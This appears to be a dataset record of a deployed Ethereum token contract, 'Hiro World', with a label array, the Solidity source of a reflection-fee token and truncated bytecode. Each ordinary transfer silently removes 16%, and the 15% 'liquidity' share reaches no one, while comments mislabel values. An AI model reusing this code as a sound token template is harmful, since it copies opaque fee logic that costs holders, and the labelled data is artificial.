[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,825
0x95c4b20707d078a00827151fafed103c5b85adaa
pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HiroWorld is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'Hiro World'; string private _symbol = 'Hiro World'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**supply*/ = tAmount.div(100).mul(0); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0); _localVal[2]/**tholder*/ = tAmount.div(100).mul(1 ); _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b80632d838119116100ff5780632d838119146102f3578063313ce5671461033557806339509351146103565780633c9f861d146103ba5780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610938565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109da565b60405180821515815260200191505060405180910390f35b6102596109f8565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b60405180821515815260200191505060405180910390f35b61031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610ae7565b6040518082815260200191505060405180910390f35b61033d610b6b565b604051808260ff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b60405180821515815260200191505060405180910390f35b6103c2610c35565b6040518082815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d06565b6040518082815260200191505060405180910390f35b610486610df1565b005b610490610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110f565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172f565b005b60006107af611ab9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806137fb602c913960400191505060405180910390fd5b600061085f83611ac1565b5050505050505090506108ba81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281600654611cfd90919063ffffffff16565b60068190555061092d83600754611d4790919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b60006109ee6109e7611ab9565b8484611dcf565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b6000610a1b848484611fc6565b610adc84610a27611ab9565b610ad78560405180606001604052806028815260200161376160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8d611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b600190509392505050565b6000600654821115610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806136ce602a913960400191505060405180910390fd5b6000610b4e6124df565b9050610b63818461250a90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2b610b8f611ab9565b84610c268560036000610ba0611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b611dcf565b6001905092915050565b6000600754905090565b60006d314dc6448d9338c15b0a00000000831115610cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce7576000610cd584611ac1565b50505050505050905080915050610d00565b6000610cf284611ac1565b505050505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da157600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dec565b610de9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b90505b919050565b610df9611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b5050505050905090565b600061110561104f611ab9565b84611100856040518060600160405280602581526020016138276025913960036000611079611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b6001905092915050565b600061112361111c611ab9565b8484611fc6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611212611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561146657611422600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61152c611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136f86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611737611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020